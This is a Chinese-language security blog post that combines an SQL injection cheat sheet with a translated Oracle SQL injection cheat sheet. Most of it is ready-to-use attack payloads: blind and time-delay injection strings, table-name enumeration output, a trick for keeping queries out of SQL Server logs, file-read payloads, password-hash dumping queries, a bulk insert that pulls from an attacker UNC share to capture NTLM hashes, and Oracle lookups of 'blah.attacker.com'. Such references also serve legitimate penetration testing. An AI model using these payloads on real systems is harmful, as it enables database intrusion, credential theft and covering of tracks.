SQL注入速查表与Oracle注入速查表总结

(一)SQL注入速查表

0x00 目录

  1. 盲注

  2. 关于盲注

  3. 实战中的盲注实例

  4. 延时盲注

  5. WAITFOR DELAY [time] (S)

  6. 实例

  7. BENCHMARK() (M)

  8. 实例

  9. pg\_sleep(seconds) (P)

  10. 掩盖痕迹

  11. -sp\_password log bypass (S)

  12. 注入测试

  13. 一些其他的MySQL笔记

  14. MySQL中好用的函数

  15. SQL注入的高级使用

  16. 强制SQL Server来得到NTLM哈希

  17. Bulk insert UNC共享文件 (S)

0x01 盲注

关于盲注

一个经过完整而优秀开发的应用一般来说你是看不到错误提示的,所以你是没办法从 Union 攻击和错误中提取出数据的

一般盲注,你不能在页面中看到响应,但是你依然能同个HTTP状态码得知查询的结果

完全盲注,你无论怎么输入都完全看不到任何变化。你只能通过日志或者其它什么的来注入。虽然不怎么常见。

在一般盲注下你能够使用If语句或者WHERE查询注入*|(一般来说比较简单)*,在完全盲注下你需要使用一些延时函数并分析响应时间。为此在 SQL Server 中你需要使用 WAIT FOR DELAY '0:0:10' ,在MySQL中使用 BENCHMARK() ,在 PostgreSQL 中使用 pg\_sleep(10) ,以及在 ORACLE 中的一些 PL/SQL小技巧

实战中的盲注实例

以下的输出来自一个真实的私人盲注工具在测试一个 SQL Server 后端应用并且遍历表名这些请求完成了第一个表的第一个字符。由于是自动化攻击,SQL查询比实际需求稍微复杂一点。其中我们使用了二分搜索来探测字符的ASCII码。

TRUE和FALSE标志代表了查询返回了 truefalse


      
          

        TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>78--  
  
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>103--  
  
TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)  
  
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>89--  
  
TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)  
  
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>83--  
  
TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)  
  
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>80--  
  
  
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)  

      
    

由于上面后两个查询都是false,我们能清楚的知道表名的第一个字符的ASCII码是80,也就是"P"。这就是我们通过二分算法来进行盲注的方法。其他已知的方法是一位一位( bit by bit )地读取数据。这些方法在不同条件下都很有效。

延时盲注

首先,只在完全没有提示( really blind )的情况下使用,否则请使用 1/0方式 通过错误来判断差异。其次,在使用20秒以上的延时时要小心,因为应用与数据库的连接API可能会判定为超时( timeout )。

WAITFOR DELAY time

这就跟 sleep 差不多,等待特定的时间。通过CPU来让数据库进行等待。


      
          

        WAITFOR DELAY '0:0:10'--  

      
    

你也可以这样用


      
          

        WAITFOR DELAY '0:0:0.51'  

      
    

实例

  • 俺是sa吗? if (select user) = 'sa' waitfor delay '0:0:10'
  • ProductID = 1;waitfor delay '0:0:10'--
  • ProductID = 1);waitfor delay '0:0:10'--
  • ProductID = 1';waitfor delay '0:0:10'--
  • ProductID = 1');waitfor delay '0:0:10'--
  • ProductID = 1));waitfor delay '0:0:10'--
  • ProductID = 1'));waitfor delay '0:0:10'--

BENCHMARK()(M)

一般来说都不太喜欢用这个来做MySQL延时。小心点用因为这会极快地消耗服务器资源。


      
          

        BENCHMARK(howmanytimes, do this)  

      
    

实例

  • 俺是root吗?爽! IF EXISTS (SELECT * FROM users WHERE username = 'root') BENCHMARK(1000000000,MD5(1))
  • 判断表是否存在 IF (SELECT * FROM login) BENCHMARK(1000000,MD5(1))

pg_sleep(seconds)(P)

睡眠指定秒数。

  • SELECT pg\_sleep(10); 睡个十秒

掩盖痕迹

-sp_password log bypass(S)

出于安全原因, SQL Server 不会把含有这一选项的查询日志记录进日志中(!)。所以如果你在查询中添加了这一选项,你的查询就不会出现在数据库日志中,当然,服务器日志还是会有的,所以如果可以的话你可以尝试使用POST方法。

0x02 注入测试

这些测试既简单又清晰,适用于盲注和悄悄地搞。

  1. product.asp?id=4 (SMO)

  2. product.asp?id=5-1

  3. product.asp?id=4 OR 1=1

  4. product.asp?name=Book

  5. product.asp?name=Bo’%2b’ok

  6. product.asp?name=Bo’ || ’ok (OM)

  7. product.asp?name=Book’ OR ‘x’=’x

0x03 一些其他的MySQL笔记

  • 子查询只能在MySQL4.1+使用
  • 用户
  • SELECT User,Password FROM mysql.user;
  • SELECT 1,1 UNION SELECT IF(SUBSTRING(Password,1,1)='2',BENCHMARK(100000,SHA1(1)),0) User,Password FROM mysql.user WHERE User = ‘root’;
  • SELECT ... INTO DUMPFILE
  • 把查询写入一个新文件中(不能修改已有文件)
  • UDF功能
  • create function LockWorkStation returns integer soname 'user32';
  • select LockWorkStation();
  • create function ExitProcess returns integer soname 'kernel32';
  • select exitprocess();
  • SELECT USER();
  • SELECT password,USER() FROM mysql.user;
  • admin密码哈希的第一位
  • SELECT SUBSTRING(user\_password,1,1) FROM mb\_users WHERE user\_group = 1;
  • 文件读取
  • query.php?user=1+union+select+load\_file(0x63...),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
  • MySQL读取文件内容
  • 默认这个功能是没开启的!

            
                

              create table foo( line blob );  
load data infile 'c:/boot.ini' into table foo;  
select * from foo;  

            
          
  • MySQL里的各种延时
  • select benchmark( 500000, sha1( 'test' ) ); query.php?user=1+union+select+benchmark(500000,sha1 (0x414141)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
  • select if( user() like 'root@%', benchmark(100000,sha1('test')), 'false' );
  • 遍历数据,暴力猜解
  • select if( (ascii(substring(user(),1,1)) >> 7) & 1,benchmark(100000,sha1('test')), 'false' );

MySQL中好用的函数

  • MD5()

MD5哈希

  • SHA1()

SHA1哈希

  • PASSWORD()
  • ENCODE()
  • COMPRESS()

压缩数据,在盲注时读取大量数据很好用

  • ROW\_COUNT()
  • SCHEMA()
  • VERSION()

@@version 是一样的

SQL注入的高级使用

一般来说你在某个地方进行SQL注入并期望它没有过滤非法操作,而这则是一般人注意不到的层面(hidden layer problem)

Name: ' + (SELECT TOP 1 password FROM users ) + '

Email : [email protected]

[email protected]骤,之后它就会把第一个用户的密码写进你的name里面。

强制SQL Server来得到NTLM哈希

这个攻击能够帮助你得到目标 SQL 服务器的 Window s密码,不过你的连接很可能会被防火墙拦截。这能作为一个很有用的入侵测试。我们强制SQL服务器连接我们的 WindowsUNC 共享并通过抓包软件( Cain & Abel )捕捉 NTLM session

Bulk insert UNC共享文件 (S)

bulk insert foo from '\\YOURIPADDRESS\C$\x.txt'

二、Oracle注入速查表

本文由Yinzo翻译,转载请保留署名。原文地址:http://pentestmonkey.net/cheat-sheet/sql-injection/oracle-sql-injection-cheat-sheet

注:下面的一部分查询只能由admin执行,我会在查询的末尾以"-priv"标注。

探测版本:


      
          

        SELECT banner FROM v$version WHERE banner LIKE ‘Oracle%’;  
SELECT banner FROM v$version WHERE banner LIKE ‘TNS%’;  
SELECT version FROM v$instance;  

      
    

注释:


      
          

        SELECT 1 FROM dual — comment  

      
    

注: Oracle的SELECT语句必须包含FROM从句,所以当我们并不是真的准备查询一个表的时候,我们必须使用一个假的表名‘dual’

当前用户:


      
          

        SELECT user FROM dual  

      
    

列出所有用户:


      
          

        SELECT username FROM all\_users ORDER BY username;  
SELECT name FROM sys.user$; — priv  

      
    

列出密码哈希:


      
          

        SELECT name, password, astatus FROM sys.user$ — priv, <= 10g. astatus能够在acct被锁定的状态下给你反馈  
SELECT name,spare4 FROM sys.user$ — priv, 11g  

      
    

密码破解:

checkpwd能够把Oracle8,9,10的基于DES的哈希破解掉

列出权限:


      
          

        SELECT * FROM session\_privs; —当前用户的权限  
SELECT * FROM dba\_sys\_privs WHERE grantee = ‘DBSNMP’; — priv, 列出指定用户的权限  
SELECT grantee FROM dba\_sys\_privs WHERE privilege =SELECT ANY DICTIONARY’; — priv, 找到拥有某个权限的用户  
SELECT GRANTEE, GRANTED\_ROLE FROM DBA\_ROLE\_PRIVS;  

      
    

列出DBA账户:


      
          

        SELECT DISTINCT grantee FROM dba\_sys\_privs WHERE ADMIN\_OPTION = ‘YES; — priv, 列出DBA和对应权限  

      
    

当前数据库:


      
          

        SELECT global\_name FROM global\_name;  
SELECT name FROM v$database;  
SELECT instance\_name FROM v$instance;  
SELECT SYS.DATABASE\_NAME FROM DUAL;  

      
    

列出数据库:


      
          

        SELECT DISTINCT owner FROM all\_tables; — 列出数据库 (一个用户一个)  

      
    

– 通过查询TNS监听程序能够查询到其他数据库.详情看tnscmd。

列出字段名:


      
          

        SELECT column\_name FROM all\_tab\_columns WHERE table\_name = ‘blah’;  
SELECT column\_name FROM all\_tab\_columns WHERE table\_name = ‘blah’ and owner = ‘foo’;  

      
    

列出表名:


      
          

        SELECT table\_name FROM all\_tables;  
SELECT owner, table\_name FROM all\_tables;  

      
    

通过字段名找到对应表:


      
          

        SELECT owner, table\_name FROM all\_tab\_columns WHERE column\_name LIKE%PASS%’;  

      
    

— 注: 表名都是大写

查询第N行:


      
          

        SELECT username FROM (SELECT ROWNUM r, username FROM all\_users ORDER BY username) WHERE r=9; — 查询第9行(从1开始数)  

      
    

查询第N个字符:


      
          

        SELECT substr(‘abcd’, 3, 1) FROM dual; — 得到第三个字符‘c’  

      
    

按位与( Bitwise AND ):


      
          

        SELECT bitand(6,2) FROM dual; — 返回2  
SELECT bitand(6,1) FROM dual; — 返回0  

      
    

ASCII值转字符:


      
          

        SELECT chr(65) FROM dual; — 返回A  

      
    

字符转ASCII码:


      
          

        SELECT ascii(‘A’) FROM dual; — 返回65  

      
    

类型转换:


      
          

        SELECT CAST(1 AS char) FROM dual;  
SELECT CAST(’1AS int) FROM dual;  

      
    

拼接字符:


      
          

        SELECT ‘A’ || ‘BFROM dual; — 返回AB  

      
    

IF语句:


      
          

        BEGIN IF 1=1 THEN dbms\_lock.sleep(3); ELSE dbms\_lock.sleep(0); END IF; END;  

      
    

— 跟 SELECT 语句在一起时不太管用

Case 语句:


      
          

        SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END FROM dual; — 返回1  
SELECT CASE WHEN 1=2 THEN 1 ELSE 2 END FROM dual; — 返回2  

      
    

绕过引号:


      
          

        SELECT chr(65) || chr(66) FROM dual; — 返回AB  

      
    

延时:


      
          

        BEGIN DBMS\_LOCK.SLEEP(5); END; — priv, 在SELECT中用不了  
SELECT UTL\_INADDR.get\_host\_name(’10.0.0.1′) FROM dual; — 如果反查很慢  
SELECT UTL\_INADDR.get\_host\_address(‘blah.attacker.com’) FROM dual; — 如果正查很慢  
SELECT UTL\_HTTP.REQUEST(‘http://google.com’) FROM dual; — 如果发送TCP包被拦截或者很慢  

      
    

— 更多关于延时的内容请看Heavy Queries

发送DNS请求:


      
          

        SELECT UTL\_INADDR.get\_host\_address(‘google.com’) FROM dual;  
SELECT UTL\_HTTP.REQUEST(‘http://google.com’) FROM dual;  

      
    

命令执行:

如果目标机装了JAVA就能执行命令,看这里

有时候ExtProc也可以,不过我一般都成功不了,看这里

本地文件读取:

UTL_FILE有时候能用。如果下面的语句没有返回null就行。


      
          

        SELECT value FROM v$parameter2 WHERE name = ‘utl\_file\_dir’;  

      
    

JAVA能用来读取和写入文件,除了 Oracle Express

主机名称、IP地址:


      
          

        SELECT UTL\_INADDR.get\_host\_name FROM dual;  
SELECT host\_name FROM v$instance;  
SELECT UTL\_INADDR.get\_host\_address FROM dual; — 查IP  
SELECT UTL\_INADDR.get\_host\_name(’10.0.0.1′) FROM dual; — 查主机名称  

      
    

定位DB文件:


      
          

        SELECT name FROM V$DATAFILE;  

      
    

默认系统和数据库:


      
          

        SYSTEM  
SYSAUX  

      
    

额外小贴士:

一个字符串列出所有表名:


      
          

        select rtrim(xmlagg(xmlelement(e, table\_name || ‘,’)).extract(‘//text()’).extract(‘//text()’) ,’,') from all\_tables  

      
    

– 当你union联查注入的时候只有一行能用与返回数据时使用

盲注排序:


      
          

        order by case when ((select 1 from user\_tables where substr(lower(table\_name), 1, 1) = ‘a’ and rownum = 1)=1) then column\_name1 else column\_name2 end  

      
    

— 你必须知道两个拥有相同数据类型的字段名才能用

历史文章推荐:

XSS 实战思路总结

内网信息收集总结

xss攻击、绕过最全总结

一些webshell免杀的技巧

命令执行写webshell总结

SQL手工注入总结 必须收藏

后台getshell常用技巧总结

web渗透之发现内网有大鱼

蚁剑特征性信息修改简单过WAF

内网渗透之域渗透命令执行总结

[WEB安全]Weblogic漏洞总结

查看更多精彩内容,还请关注 橘猫学安全

每日坚持学习与分享,麻烦各位师傅文章底部给点个“ 再看 ”,感激不尽 picture.image

0
0
0
0
评论
未登录
暂无评论